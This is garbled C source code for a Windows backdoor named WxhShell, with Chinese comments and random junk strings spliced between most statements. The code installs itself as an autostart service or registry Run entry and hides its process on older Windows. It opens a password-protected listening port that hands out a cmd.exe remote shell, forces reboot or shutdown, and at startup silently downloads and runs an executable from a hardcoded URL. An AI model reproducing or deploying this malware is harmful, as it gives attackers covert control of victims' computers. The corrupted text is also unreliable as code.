N8)]d v)aV(Oa static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r-_-/O"l static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eB9F35[ v.53fx HANDLE hProcess; cv_t2m PROCESS_BASIC_INFORMATION pbi; : cPV08i fS3% HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XCT3:db if(NULL == hInst ) return 0; %3yrX>Js ~xJ^YkyH g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `o0ISJeKp g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |\RN%w7E8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XO5E-Nh \Rw^&;\1 if (!NtQueryInformationProcess) return 0; \j4!dOGZ } x
KvN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); em2Tet if(!hProcess) return 0; JyePI:B&)j L7"<a2J if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C'PHbo: lNMJcl3 CloseHandle(hProcess); v}=pxWhm hyY^$p+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zVis"g` if(hProcess==NULL) return 0; P]7s1kgaS ZU`HaL$ HMODULE hMod; Ky*xAx: char procName[255]; [$M l;K unsigned long cbNeeded; Yc5<Y-W Pk5 %lu if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y!x-R!3 ]d*O>Pm CloseHandle(hProcess); p
~)\! KVHK~Y-G if(strstr(procName,"services")) return 1; // 以服务启动 1pqYB]*u_ X*a7`aL return 0; // 注册表启动 $#_^uWN-M } iZ0.rcQj'o KP!7hJhw // 主模块 nyZ?m int StartWxhshell(LPSTR lpCmdLine) 'i;ofJ[.c { o3`0x9{ SOCKET wsl; d>/4z#R}- BOOL val=TRUE; _I%mY!x\` int port=0; #2+hu^Q- struct sockaddr_in door; 3*R(&O6} n65fT+; if(wscfg.ws_autoins) Install(); JEfhr _+gpdQq\p port=atoi(lpCmdLine); ZJQkZ_9@2 crJNTEz if(port<=0) port=wscfg.ws_port; :(I=z6 NJKk\RM@7 WSADATA data; akQb%Wq if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V3_qqz}`r oTA'=<W?D if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lEpPi@2PK setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 17VNw/Y door.sin_family = AF_INET; 0.#%KfQ door.sin_addr.s_addr = inet_addr("127.0.0.1"); zu1gP/ door.sin_port = htons(port); !9^GkFR6n +EZr@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { we?t/YB= closesocket(wsl); QzYaxNGv return 1; JV!}"[ } U}{\qs-z t !zxq9IhWR if(listen(wsl,2) == INVALID_SOCKET) { R~bLEo closesocket(wsl); eh*F/Gu return 1; ^fM=|.? } :$QwOz^N* Wxhshell(wsl); CF5%&B WSACleanup(); N]|U-fN\ $-)y59w" return 0; qt%/0 o#IWH;ck. } dTVM
!= JM*rPzp // 以NT服务方式启动 l_x>.' a VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v=H!Y"; { U4Pk^[,p1G DWORD status = 0; <pUc(
tPoz DWORD specificError = 0xfffffff; 6:\z8fYD _[
`"E' serviceStatus.dwServiceType = SERVICE_WIN32; FRTvo serviceStatus.dwCurrentState = SERVICE_START_PENDING; #p=Wt&2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F#{PJ# serviceStatus.dwWin32ExitCode = 0; U3w*z6OG serviceStatus.dwServiceSpecificExitCode = 0; r3.v ^ serviceStatus.dwCheckPoint = 0; qxD<mZ@-R0 serviceStatus.dwWaitHint = 0; wSs78c= ;<` hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3lNw*M|") if (hServiceStatusHandle==0) return; (yz8}L3 OZh+x`' # status = GetLastError(); Xg97[ I8/ if (status!=NO_ERROR) Vs[!WJ
7 { \y/+H serviceStatus.dwCurrentState = SERVICE_STOPPED; JDC,] serviceStatus.dwCheckPoint = 0; 5TdI serviceStatus.dwWaitHint = 0; c>Ljv('bj serviceStatus.dwWin32ExitCode = status; ~#[ ZuMO? serviceStatus.dwServiceSpecificExitCode = specificError; to 3i!b SetServiceStatus(hServiceStatusHandle, &serviceStatus); yM34G S=,J return; Q&9& )8- } @aGS~^Uh Mq,_DQ serviceStatus.dwCurrentState = SERVICE_RUNNING; vGPaW YV serviceStatus.dwCheckPoint = 0; )5bdWJ>l serviceStatus.dwWaitHint = 0; ,#-^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9a_(_g>S } GgjBLe=C 6d/b*,4[ // 处理NT服务事件,比如:启动、停止 fmq^AnKd VOID WINAPI NTServiceHandler(DWORD fdwControl) FkT% -I { jfrUOl'l switch(fdwControl) 'w7{8^Z2 { {EupB? case SERVICE_CONTROL_STOP: 8|,-P=%t serviceStatus.dwWin32ExitCode = 0; G,i%:my7 serviceStatus.dwCurrentState = SERVICE_STOPPED; gM3gc; serviceStatus.dwCheckPoint = 0; LvS3c9|Aj serviceStatus.dwWaitHint = 0; =;xlmndT, { ;
bDFrG SetServiceStatus(hServiceStatusHandle, &serviceStatus); /7zy5 } %25_ return; ) uyh case SERVICE_CONTROL_PAUSE: y/2U:H serviceStatus.dwCurrentState = SERVICE_PAUSED; 'lNl><e- break; 7f
td2lv case SERVICE_CONTROL_CONTINUE: X]*W + serviceStatus.dwCurrentState = SERVICE_RUNNING; B[MZPv) break; Bj7\{x,? case SERVICE_CONTROL_INTERROGATE: -nT+!3A8 break; 3/@'tLtN }; )u&_}6z SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9~mi[l~ } `0Q:d' 7+u%]D! // 标准应用程序主函数 OiY2l;68 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0?t!tugG { @w:sNXz- ;h3*MR // 获取操作系统版本 &f qmO>M OsIsNt=GetOsVer(); ;3sT>UB GetModuleFileName(NULL,ExeFile,MAX_PATH); U^0vLyqW^5 .< vg[ // 从命令行安装 7\U1K^q if(strpbrk(lpCmdLine,"iI")) Install(); /ADxHw`k IJXH_H_%* // 下载执行文件 LDvF)Eg if(wscfg.ws_downexe) { =-pss 47 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JnY3] WinExec(wscfg.ws_filenam,SW_HIDE); 90aPIs- } 1,`x1dcO!A cCV"(Oo[H| if(!OsIsNt) { {Q(6
.0R // 如果时win9x,隐藏进程并且设置为注册表启动 P [nWmY HideProc(); |2 wff? StartWxhshell(lpCmdLine); xD?{Hw>QT# } ,em6wIq, else PewPl0 if(StartFromService()) #CQ>d8& // 以服务方式启动 c)6Y.[). StartServiceCtrlDispatcher(DispatchTable); q%:Jmi> else pmW=l/6+V3 // 普通方式启动 Ft.BfgJ$ StartWxhshell(lpCmdLine); mQs'2Y6Oa JcVq%~{M return 0; HIa$0g0J } Em"X5>;4 '/
&" :M[E-j; 0RSa{iS*A =========================================== 4!}fCP ty >6DY3\ hy )RV=X nG%j4r ; VD#^Xy4% r !d0@^JbM" " Xp?Z;$r$ a@jP^VVk #include <stdio.h> 49zp@a #include <string.h> }\*Sf[EMD #include <windows.h> dw4)4_ #include <winsock2.h> +tN-X'u## #include <winsvc.h> uATBt #include <urlmon.h> *-Yw0Y[E .yP
3}Nl #pragma comment (lib, "Ws2_32.lib") _5LlL#) #pragma comment (lib, "urlmon.lib") F_Pd\Aq8 t@HE.h #define MAX_USER 100 // 最大客户端连接数 anwn!Eqk" #define BUF_SOCK 200 // sock buffer 7z,M`14 #define KEY_BUFF 255 // 输入 buffer hW+Dko(s 1a!h&!$9 #define REBOOT 0 // 重启 T+ t-0k #define SHUTDOWN 1 // 关机 L
wu;y@[ Fszk?0T #define DEF_PORT 5000 // 监听端口 B&$89]gs| ~3YNHm6V #define REG_LEN 16 // 注册表键长度 LGMFv #define SVC_LEN 80 // NT服务名长度 fIcv}Y E0pQRGPA // 从dll定义API |5/[0V-vy typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n{yjH*\Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *sG<w%% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -/qrEKQ0U? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FTenXJ/c dCK-"#T! // wxhshell配置信息 HY:@=%R struct WSCFG { |#B"j1D,H int ws_port; // 监听端口 7A|jnm char ws_passstr[REG_LEN]; // 口令 qpeK><o int ws_autoins; // 安装标记, 1=yes 0=no *3K"Kc2 char ws_regname[REG_LEN]; // 注册表键名 #?=cg]v_ char ws_svcname[REG_LEN]; // 服务名 ^>p [b char ws_svcdisp[SVC_LEN]; // 服务显示名 ]x G4T>S char ws_svcdesc[SVC_LEN]; // 服务描述信息 YBO53S]= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]O\W<'+V int ws_downexe; // 下载执行标记, 1=yes 0=no p{J_d,JH char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E)E! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ttj5%~ 'x0t,
;g }; >D;hT*3 e`rY]X // default Wxhshell configuration W Q&<QVK struct WSCFG wscfg={DEF_PORT, $S}x'F!4_ "xuhuanlingzhe", ZkJM?Fzq 1, D.6dPzu` "Wxhshell", xVyUUzXs "Wxhshell", |<*(`\'w "WxhShell Service", !%X`c94 "Wrsky Windows CmdShell Service", D+3Y.r9 "Please Input Your Password: ", aVYUk7_ < 1, ,H?p9L; qp "http://www.wrsky.com/wxhshell.exe", +;Gl>$ "Wxhshell.exe" ~e+w@ lK }; Q=8
cBRe u3:Q t2^S // 消息定义模块 ,')bO*Ng char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -!cAr
< char *msg_ws_prompt="\n\r? for help\n\r#>"; b9N4Gr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h'x~"k1 char *msg_ws_ext="\n\rExit."; v1=X =H char *msg_ws_end="\n\rQuit."; bZXNo char *msg_ws_boot="\n\rReboot..."; /<$"c"UQ char *msg_ws_poff="\n\rShutdown..."; d"UW38K{ char *msg_ws_down="\n\rSave to "; ,no:6 WLLv a<{ char *msg_ws_err="\n\rErr!"; eNFUjDm char *msg_ws_ok="\n\rOK!"; ? ^CGJ1 72zuI4& char ExeFile[MAX_PATH]; A%1=6 int nUser = 0; MGzF+ln^U HANDLE handles[MAX_USER]; V2,WP int OsIsNt; n y)P YMTA`T(+ SERVICE_STATUS serviceStatus; ([-=NT}Aq SERVICE_STATUS_HANDLE hServiceStatusHandle; o
z{j2% BfT, // 函数声明 88$Y-g5* int Install(void); uFWgq::\ int Uninstall(void); tJPRR_nZv int DownloadFile(char *sURL, SOCKET wsh); )X;cS}
yp int Boot(int flag); )<F\IM void HideProc(void); }Xi#x*-D int GetOsVer(void);
7yTe]O int Wxhshell(SOCKET wsl); Xh"iP % void TalkWithClient(void *cs); n;-r
W;ZO int CmdShell(SOCKET sock); _%vqBr* int StartFromService(void); +[/r^C int StartWxhshell(LPSTR lpCmdLine); NCFV >}{-! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Td1ba ^J VOID WINAPI NTServiceHandler( DWORD fdwControl ); *v ^"4 Sp,Q,Q4 // 数据结构和表定义 %i>e SERVICE_TABLE_ENTRY DispatchTable[] = |S:!+[ { xPup?oP > {wscfg.ws_svcname, NTServiceMain}, !<zzP LC {NULL, NULL} '5/}MMT }; dJ:x1j Q'%o;z* // 自我安装 _-J @$d% int Install(void) sC_UalOC_ { /2Lo{v=0[ char svExeFile[MAX_PATH]; j(C
UYm HKEY key; KR(} A" strcpy(svExeFile,ExeFile); !muYn-4M >Ryss@o // 如果是win9x系统,修改注册表设为自启动 :wZ`>,K"t> if(!OsIsNt) { B"9hQb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hO.G'q$V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d5"EvT RegCloseKey(key); YG~ o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UX`DZb+^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #6sC&w3 RegCloseKey(key); *P R_Y=v% return 0; gQ=POJ=G } S<!_
u q } |zq!CLjD@ } G+ v, Hi1 else { BDkBYhz;7 }K80G~O2< // 如果是NT以上系统,安装为系统服务 :n9xH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KzX
,n_`an if (schSCManager!=0) E(!6n= qR { Z#6~N/b SC_HANDLE schService = CreateService C%_ ( (}1v^~FXj schSCManager, `m3QT3B wscfg.ws_svcname, +^ DRto= wscfg.ws_svcdisp, +1Rrkok SERVICE_ALL_ACCESS, eSX[J6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !x$:8R SERVICE_AUTO_START, JkDPuTXD SERVICE_ERROR_NORMAL, #;LMtDaL svExeFile, xGEmrE<; NULL, <cv2-?L{ NULL, 'gZbNg=&[ NULL, H<Kkj NULL, #} ~p^ 0 NULL ).}k6v[4) ); BU:Ecchbr if (schService!=0) n R\n\
{ Sci4EGc CloseServiceHandle(schService); Wx?&igh CloseServiceHandle(schSCManager); Cld<D5\|f+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8| e$ strcat(svExeFile,wscfg.ws_svcname); 9;]wF8h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5Z6-R}uXk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MkW1FjdP RegCloseKey(key); ,+/9K)X return 0; ]\RSHz } H*{k4 } 5+bFy.UW CloseServiceHandle(schSCManager); }-{ b$6] } J[!x%8m } J7ktfyQ0W *hZ~i{c,7 return 1; o'^;tLs15 } %"l81z _YH<YOrMh // 自我卸载 2f3=?YqD int Uninstall(void) >.J'L5
x$ { j7@!J7S HKEY key; x*unye7 %<aImR] if(!OsIsNt) { gI)w^7Gi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EkRdpiLB RegDeleteValue(key,wscfg.ws_regname); G%2P RegCloseKey(key); o-SRSu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M'\pkzx RegDeleteValue(key,wscfg.ws_regname); ')C|`(hs RegCloseKey(key); `]K,'i{R return 0; QjQ4Z'.r > } Z,0O/RFJ.q } X,>(Y8 } 5{')GTdX> else { McEmd.S<n $!a?i@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d4ic9u*D if (schSCManager!=0) k?^%hO>[ { 3QCMK^#Z: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +``>,O6 if (schService!=0) XK1fHfCEa { Nt HbwU, if(DeleteService(schService)!=0) { /ca(a\@R CloseServiceHandle(schService); ?Rlgv5P! CloseServiceHandle(schSCManager); r k@UsHy return 0; c+1vqbqHG } lNHNL
a>W CloseServiceHandle(schService); .SG0}8gW } jUYF.K& CloseServiceHandle(schSCManager); DX|uHbGg } O-Dc[t% } Fl<(m ?3[tJreVj return 1; 6!Qknk$ } ^,Xa IP+[ #
2d,U\_ // 从指定url下载文件 rWJ*e Y int DownloadFile(char *sURL, SOCKET wsh) )+?HI^-[S { }bp.OV-+ HRESULT hr; A xf^hBP char seps[]= "/"; oK)[p!D?0{ char *token; &1=g A.ZR char *file; $iwIF7,\P char myURL[MAX_PATH]; 6Hda]y char myFILE[MAX_PATH]; ^=k{~ >ZX|4U[$P strcpy(myURL,sURL); 4X*Q6rW token=strtok(myURL,seps); goB;EWz while(token!=NULL) mzu<C)9d, { > <X $# file=token; s*f1x N< token=strtok(NULL,seps); ":V%(c } 5.dl>, <z',]hy GetCurrentDirectory(MAX_PATH,myFILE); -rO*7HO strcat(myFILE, "\\"); \ p3v#0R{ strcat(myFILE, file); ~U9q-/(J/ send(wsh,myFILE,strlen(myFILE),0); /,X7.t_- send(wsh,"...",3,0); $]1qbE+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @*SA$9/l if(hr==S_OK) i$["aP~G return 0; '^DUq?E4 else .D!WO return 1; QhsVIta ~~@y_e[N#l } JDKLKHOMZ <W2ZoqaV // 系统电源模块 fQO
""qh int Boot(int flag) /~tP7<7A { R1Yqz $# HANDLE hToken; @gEr+O1K( TOKEN_PRIVILEGES tkp; nSHNis }qL~KA{& if(OsIsNt) { >O3IfS(l OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JL``iA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kf'=%]9#_T tkp.PrivilegeCount = 1; ni<[G0#T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i&*<lff AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3
1k if(flag==REBOOT) { "O``7HA} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NN mM#eB:4 return 0; T6X}Ws " } dWUUxKC else { >8(jW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :]-$dEu& return 0; 8gAu7\p} } J
3B`Krh } (-J<Vy] else { W"t"X ~T3 if(flag==REBOOT) { nd.hHQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "[.ne)/MC return 0; DN<M?u] } AOAO8%|I else { :X Lp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b` zET^F return 0; {mf.!Xev } }^ ,q#' } =JxFp,
Xr O"iak return 1; >jKjh!`)!e } 1mix+.d XL~>rw< // win9x进程隐藏模块 |T
y=7d , void HideProc(void) G1[(F`t> { B!uxs He<;4?: HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sG1BNb_ if ( hKernel != NULL ) s??czM2O { [T]Bf o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ="2/\*.SL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ld~ q1*7J FreeLibrary(hKernel); \4QH/e } %6HX*_Mr& I=odMw7Hj return; AqqHD=Yp } uY]T:UVk URQ@=W7 // 获取操作系统版本 dN0mYlu1| int GetOsVer(void) Vd<K4Tk { JhH`uA& OSVERSIONINFO winfo; }AJ L,Q7q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DJ|BM+ GetVersionEx(&winfo); > Y]_K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3a^)u-9,x return 1; }<&d]N else x=vK
EyS@ return 0; i7s\CY } C=yD3mVz H0+:XF\M // 客户端句柄模块 4|=vxJ int Wxhshell(SOCKET wsl) o?y"]RCM { #<]Iz'\` SOCKET wsh; x G ^f struct sockaddr_in client; sJv`fjf%8 DWORD myID; 0$QIfT) V]m^7^m3 while(nUser<MAX_USER) !xymoiArp { k,lqT>C int nSize=sizeof(client); LyV#j>gD wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &rP~`4Mkp if(wsh==INVALID_SOCKET) return 1; qw2)v*Fn z'*ml ? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )vQNiik# if(handles[nUser]==0) mtIMW9 closesocket(wsh); 7jT#BWt else jr:drzr{I nUser++; *W%'Di } F^]aC98]1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?Nu#]u- ,#
eO& return 0; 80HEAv,O } 7N6zqjIB K k`<f d // 关闭 socket 2]3G1idB void CloseIt(SOCKET wsh) hwp/jO:7\ { ~T7\8K+ $ closesocket(wsh); 4rm87/u*0 nUser--; 5c)wZ ExitThread(0); ?`"<DH~:0B } .T{U^0 )
ZRO.bMgZF // 客户端请求句柄 Rd0?zEKV void TalkWithClient(void *cs) h~ZNHSP: { sZT VM9<) z30= ay1 SOCKET wsh=(SOCKET)cs; 0$!.c~ char pwd[SVC_LEN]; [|jIC char cmd[KEY_BUFF]; bu;vpNa char chr[1]; ~O8]3+U int i,j; 4@gl4&<h {8_:4`YZ while (nUser < MAX_USER) { >[hrJn[ uz8nRS s if(wscfg.ws_passstr) { u"eZa!# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^g\h]RD} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7~:>WMv9 //ZeroMemory(pwd,KEY_BUFF); Gtf1}UJC i=0; - f+CyhR"* while(i<SVC_LEN) { uLF\K+cz g}^4^88=a // 设置超时 v!iWzN fd_set FdRead; P~;<o!f struct timeval TimeOut; CRP7U FD_ZERO(&FdRead); U. NeK{ FD_SET(wsh,&FdRead); 9[B<rz TimeOut.tv_sec=8; A7mMgb_ TimeOut.tv_usec=0; 4c~*hMry int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3~#Z E;># if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2nVuz9h 9*"[pt+tA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QJb7U5:B+ pwd=chr[0]; \3,$YlG if(chr[0]==0xd || chr[0]==0xa) { \;4L~_2$q pwd=0; }S1Z>ZA5 break; Tq_1wX'\ } $@XPL~4 i++; uMljH@xBc } 1==P.d( ayB=|*Q" // 如果是非法用户,关闭 socket /r #b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rcD.P?" } T9&,v<f g^Ugl=f, send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n#/U@qVgc send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AIIBd 1t}
(+NNjH while(1) { w yuJSB 8,Q.t7v ZeroMemory(cmd,KEY_BUFF); d|D'&&&c nA{ncTg1\ // 自动支持客户端 telnet标准 IeqWR4Y j=0; _"FbjQ" while(j<KEY_BUFF) { ru(?a~lF8~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?(|TP^ cmd[j]=chr[0]; $Sc08ro if(chr[0]==0xa || chr[0]==0xd) { ePIly)=X cmd[j]=0; x0TnS# break; ~Sn5;g8+\ } !/=9VD{U! j++; q_%w
l5\F } ~0Q\Lp); ys~p( // 下载文件 [xp~@5r' if(strstr(cmd,"http://")) { w2M
IY_N? send(wsh,msg_ws_down,strlen(msg_ws_down),0); |{}d5Z"5;} if(DownloadFile(cmd,wsh)) }(vOaD|k= send(wsh,msg_ws_err,strlen(msg_ws_err),0); }SJLBy0 else R+@sHsZ@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A<*tn?M] } /hA}9+/ else { ^0BF2&Zx SjNwT[.nr7 switch(cmd[0]) { QBBJ1U j_YZ(: = // 帮助 R;Ix<y{U case '?': { .ON$vn7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KzFs#rhpn break; 1dgN10 } =:R[gdA#1 // 安装 v'2OHb# case 'i': { VHXR)} if(Install()) L}sm R, send(wsh,msg_ws_err,strlen(msg_ws_err),0); $BO}D else ;wYwiSVd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yrvSbqR break; JwG5#CFu^ } ]P ?#lO6 // 卸载 9Av- ;!] case 'r': { N6 }i>";_; if(Uninstall()) `'k's]Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); yKk,); else B#V4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <xh'@592 break; P A+e= % } q'8@0FT0 // 显示 wxhshell 所在路径 _$jJpy case 'p': { J;]@?( char svExeFile[MAX_PATH]; 2*",{m strcpy(svExeFile,"\n\r"); |(8Hk@\CT> strcat(svExeFile,ExeFile); }Us$y0W\ send(wsh,svExeFile,strlen(svExeFile),0); . L6@Rs break; )^'B:ic } =rtA{g$)+ // 重启 Vgb>3]SU case 'b': { "OAZ< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;cHI3V if(Boot(REBOOT)) s$y#Ufz send(wsh,msg_ws_err,strlen(msg_ws_err),0); N)I
T? else { ke6cZV5w closesocket(wsh); >yHnz?bf@ ExitThread(0); 25@j2K ( } r`"#c7)
break; qA\kx#v]P } JGNxJ S<] // 关机 5 9J$SE case 'd': { \ rWgA send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ML"P"&~u6 if(Boot(SHUTDOWN)) JY8"TQ$x send(wsh,msg_ws_err,strlen(msg_ws_err),0); N S}`(N else { zMqEMx9 closesocket(wsh); DT]p14@t9 ExitThread(0); KIl.?_61O } e;u8G/ break; =sVt8FWGY } /{)cI^9 // 获取shell kxf=%<l case 's': { 3kQ8*S CmdShell(wsh); ^nZ2p$ closesocket(wsh); X',0MBQ0 ExitThread(0); [)0 k} break; * CGdfdxW } Yf`.Cq_: // 退出 "fJ|DE&@<i case 'x': { O}!@28|3" send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^b.
MR ?9 CloseIt(wsh); xyWdzc](p break; kU>|E<c* } 0\^2HjsJ // 离开 ,T[
+omo case 'q': { oT{yttSNo send(wsh,msg_ws_end,strlen(msg_ws_end),0); C}EDl2 closesocket(wsh); |CqJ2 WSACleanup(); jc`',o'[+ exit(1); *%BI*p break; 7V``f:#d } / {~h?P} } ^{bEq\5& } fOervo -RDs{c`y%N // 提示信息 bj{f[nZ d if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TBT*j&!L } A6.'1OD } J)NpG9iN eO G%6C%a return; 0n=E.qZ9c } T,>e\ RoRVu,1 // shell模块句柄 SbivW5|61 int CmdShell(SOCKET sock) gK#w$s50 { `_`,XkpzCJ STARTUPINFO si; =p6xc}N ZeroMemory(&si,sizeof(si)); k>`X!
" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rgY~8PY" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V.1sZYA9 PROCESS_INFORMATION ProcessInfo; FU3B;Fn^Z( char cmdline[]="cmd"; xd@DN;e CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $ 1ZY
Vw return 0; ]"6<"1) } gId+hxFa:r }Jfo(j // 自身启动模式 ?#m5$CFp int StartFromService(void) .YRSd { (6{
VMQ typedef struct P+UK@~D+G { cj
*4XYu DWORD ExitStatus; ,YTIYG]( DWORD PebBaseAddress; p2K9R4 DWORD AffinityMask; gKCIfxM DWORD BasePriority; 1-#tx*>AY ULONG UniqueProcessId; tS7u#YMh ULONG InheritedFromUniqueProcessId; 3F1Z$d( } PROCESS_BASIC_INFORMATION; f14c}YY IpxjP\ PROCNTQSIP NtQueryInformationProcess; 4KnDXQ% M&dtXG8<^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P'8E8_M} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Eqc$*= ,R+u%bmn# HANDLE hProcess; ~7
TzUb PROCESS_BASIC_INFORMATION pbi; Tx(R3B+u7 jo~Pr HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vkK+
C~" if(NULL == hInst ) return 0; rL=$WxdPU :-)[B^0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $u :=lA:N g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $((<le5-) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QS}=oOR@k ~a $%
a if (!NtQueryInformationProcess) return 0; sq_:U_tJ DYS(ZY)4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y"@k vd if(!hProcess) return 0; M<"D!h9YP SxDE3A-: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c.fj[U|j O,cx9N CloseHandle(hProcess); <T wq{kt
